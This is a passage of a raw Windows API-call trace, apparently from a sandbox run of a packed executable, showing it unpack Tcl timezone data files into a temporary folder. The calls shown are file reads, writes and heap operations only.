(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.592] GetFileType (hFile=0x10c) returned 0x1 [0038.592] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.592] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.592] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.593] CloseHandle (hObject=0x10c) returned 1 [0038.593] GetLastError () returned 0x0 [0038.593] SetLastError (dwErrCode=0x0) [0038.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.593] GetFileType (hFile=0x10c) returned 0x1 [0038.593] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.593] CloseHandle (hObject=0x10c) returned 1 [0038.593] GetLastError () returned 0x0 [0038.593] SetLastError (dwErrCode=0x0) [0038.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.594] GetFileType (hFile=0x10c) returned 0x1 [0038.594] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.594] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.594] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.594] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.594] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.594] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.594] CloseHandle (hObject=0x10c) returned 1 [0038.594] GetLastError () returned 0x0 [0038.594] SetLastError (dwErrCode=0x0) [0038.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Buenos_Aires") returned 77 [0038.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Buenos_Aires" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\buenos_aires"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.594] GetLastError () returned 0x2 [0038.594] SetLastError (dwErrCode=0x2) [0038.594] GetLastError () returned 0x2 [0038.594] SetLastError (dwErrCode=0x2) [0038.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Buenos_Aires", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Buenos_Aires", lpFilePart=0x0) returned 0x4c [0038.594] GetLastError () returned 0x2 [0038.594] SetLastError (dwErrCode=0x2) [0038.594] GetLastError () returned 0x2 [0038.594] SetLastError (dwErrCode=0x2) [0038.595] GetLastError () returned 0x2 [0038.595] SetLastError (dwErrCode=0x2) [0038.595] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Buenos_Aires") returned 77 [0038.595] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Buenos_Aires" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\buenos_aires"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.595] GetFileType (hFile=0x10c) returned 0x1 [0038.595] htonl (hostlong=0xea000000) returned 0xea [0038.595] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.595] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xea, lpOverlapped=0x0) returned 1 [0038.597] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.597] CloseHandle (hObject=0x10c) returned 1 [0038.597] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.597] htonl (hostlong=0x40000000) returned 0x40 [0038.597] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.597] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.597] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.598] GetFileType (hFile=0x10c) returned 0x1 [0038.598] htonl (hostlong=0xe8b55800) returned 0x58b5e8 [0038.598] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d65e8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.598] htonl (hostlong=0x2060000) returned 0x602 [0038.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x602) returned 0x550600 [0038.598] htonl (hostlong=0x2060000) returned 0x602 [0038.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.598] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.598] htonl (hostlong=0x3f1d0000) returned 0x1d3f [0038.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d3f) returned 0x561090 [0038.598] htonl (hostlong=0x2060000) returned 0x602 [0038.598] htonl (hostlong=0x3f1d0000) returned 0x1d3f [0038.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562dd8 [0038.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562dd8 | out: hHeap=0x530000) returned 1 [0038.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.598] CloseHandle (hObject=0x10c) returned 1 [0038.598] GetLastError () returned 0x0 [0038.598] SetLastError (dwErrCode=0x0) [0038.598] GetLastError () returned 0x0 [0038.598] SetLastError (dwErrCode=0x0) [0038.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.599] GetFileType (hFile=0x10c) returned 0x1 [0038.599] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.599] CloseHandle (hObject=0x10c) returned 1 [0038.599] GetLastError () returned 0x0 [0038.599] SetLastError (dwErrCode=0x0) [0038.599] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.599] GetFileType (hFile=0x10c) returned 0x1 [0038.599] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.600] CloseHandle (hObject=0x10c) returned 1 [0038.600] GetLastError () returned 0x0 [0038.600] SetLastError (dwErrCode=0x0) [0038.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.600] GetFileType (hFile=0x10c) returned 0x1 [0038.600] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.600] CloseHandle (hObject=0x10c) returned 1 [0038.600] GetLastError () returned 0x0 [0038.600] SetLastError (dwErrCode=0x0) [0038.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cambridge_Bay") returned 78 [0038.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cambridge_Bay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cambridge_bay"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.601] GetLastError () returned 0x2 [0038.601] SetLastError (dwErrCode=0x2) [0038.601] GetLastError () returned 0x2 [0038.601] SetLastError (dwErrCode=0x2) [0038.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cambridge_Bay", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cambridge_Bay", lpFilePart=0x0) returned 0x4d [0038.601] GetLastError () returned 0x2 [0038.601] SetLastError (dwErrCode=0x2) [0038.601] GetLastError () returned 0x2 [0038.601] SetLastError (dwErrCode=0x2) [0038.601] GetLastError () returned 0x2 [0038.601] SetLastError (dwErrCode=0x2) [0038.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cambridge_Bay") returned 78 [0038.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.601] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cambridge_Bay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cambridge_bay"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.602] GetFileType (hFile=0x10c) returned 0x1 [0038.602] htonl (hostlong=0x3f1d0000) returned 0x1d3f [0038.602] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.603] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd3f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd3f, lpOverlapped=0x0) returned 1 [0038.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.603] CloseHandle (hObject=0x10c) returned 1 [0038.604] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.604] htonl (hostlong=0x40000000) returned 0x40 [0038.604] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.605] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.605] GetFileType (hFile=0x10c) returned 0x1 [0038.605] htonl (hostlong=0xeabb5800) returned 0x58bbea [0038.605] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d6bea, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.605] htonl (hostlong=0xe3050000) returned 0x5e3 [0038.605] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5e3) returned 0x550600 [0038.605] htonl (hostlong=0xe3050000) returned 0x5e3 [0038.605] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.606] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.606] htonl (hostlong=0x621e0000) returned 0x1e62 [0038.606] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e62) returned 0x561090 [0038.606] htonl (hostlong=0xe3050000) returned 0x5e3 [0038.606] htonl (hostlong=0x621e0000) returned 0x1e62 [0038.606] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f00 [0038.606] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f00 | out: hHeap=0x530000) returned 1 [0038.606] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.606] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.606] CloseHandle (hObject=0x10c) returned 1 [0038.606] GetLastError () returned 0x0 [0038.606] SetLastError (dwErrCode=0x0) [0038.606] GetLastError () returned 0x0 [0038.606] SetLastError (dwErrCode=0x0) [0038.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.606] GetFileType (hFile=0x10c) returned 0x1 [0038.606] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.606] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.607] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.607] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, 